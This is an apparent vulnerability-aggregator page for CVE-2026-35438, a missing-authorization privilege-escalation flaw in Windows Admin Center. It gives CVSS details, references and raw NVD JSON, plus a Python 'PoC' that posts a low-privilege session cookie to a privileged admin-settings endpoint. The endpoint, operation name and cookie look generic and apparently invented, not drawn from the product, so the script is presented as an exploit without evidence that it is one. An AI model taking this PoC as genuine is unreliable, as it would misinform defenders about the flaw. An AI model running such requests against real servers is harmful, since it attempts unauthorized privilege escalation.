CVE-2026-35438

Description

Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Windows Admin Center (具体受影响版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-35438: Missing Authorization in Windows Admin Center
# This script attempts to perform a privileged action using a low-privilege token.

target = "https://<windows-admin-center-url>/api/management/sensitive/action"
headers = {
    "Content-Type": "application/json",
    "Cookie": "PD-SessionId=<low_privilege_session_cookie>"
}
data = {
    "operation": "update_admin_settings",
    "value": "malicious_config"
}

response = requests.post(target, json=data, headers=headers, verify=False)

if response.status_code == 200:
    print("[+] Exploit successful: Authorization bypass confirmed.")
else:
    print(f"[-] Exploit failed. Status code: {response.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35438
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35438
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35438/
[4] VulDB https://vuldb.com/cve/CVE-2026-35438
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35438", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:14.030", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authorization in Windows Admin Center allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438", "source": "[email protected]"}]}}